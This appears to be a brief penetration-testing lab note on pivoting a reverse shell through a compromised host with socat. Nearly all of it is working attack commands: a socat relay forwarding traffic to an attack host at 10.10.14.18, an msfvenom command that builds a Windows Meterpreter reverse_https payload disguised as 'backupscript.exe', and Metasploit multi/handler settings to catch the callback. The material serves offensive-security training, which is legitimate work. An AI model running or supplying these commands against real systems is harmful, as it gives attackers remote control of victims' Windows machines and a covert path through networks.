Socat Redirection with a Reverse Shell

Socat is a bidirectional relay tool that can create pipe sockets between 2 independent network channels without needing to use SSH tunneling. It acts as a redirector that can listen on one host and port and forward that data to another IP address and port

Starting Socat Listener

On pivot,

socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80

Socat will listen on localhost on port 8080 and forward all the traffic to port 80 on our attack host (10.10.14.18).

Creating the Windows Payload

 
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080

Starting MSF Console

sudo msfconsole

Configuring & Starting the multi/handler

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_https

set lhost 0.0.0.0

set lport 80

run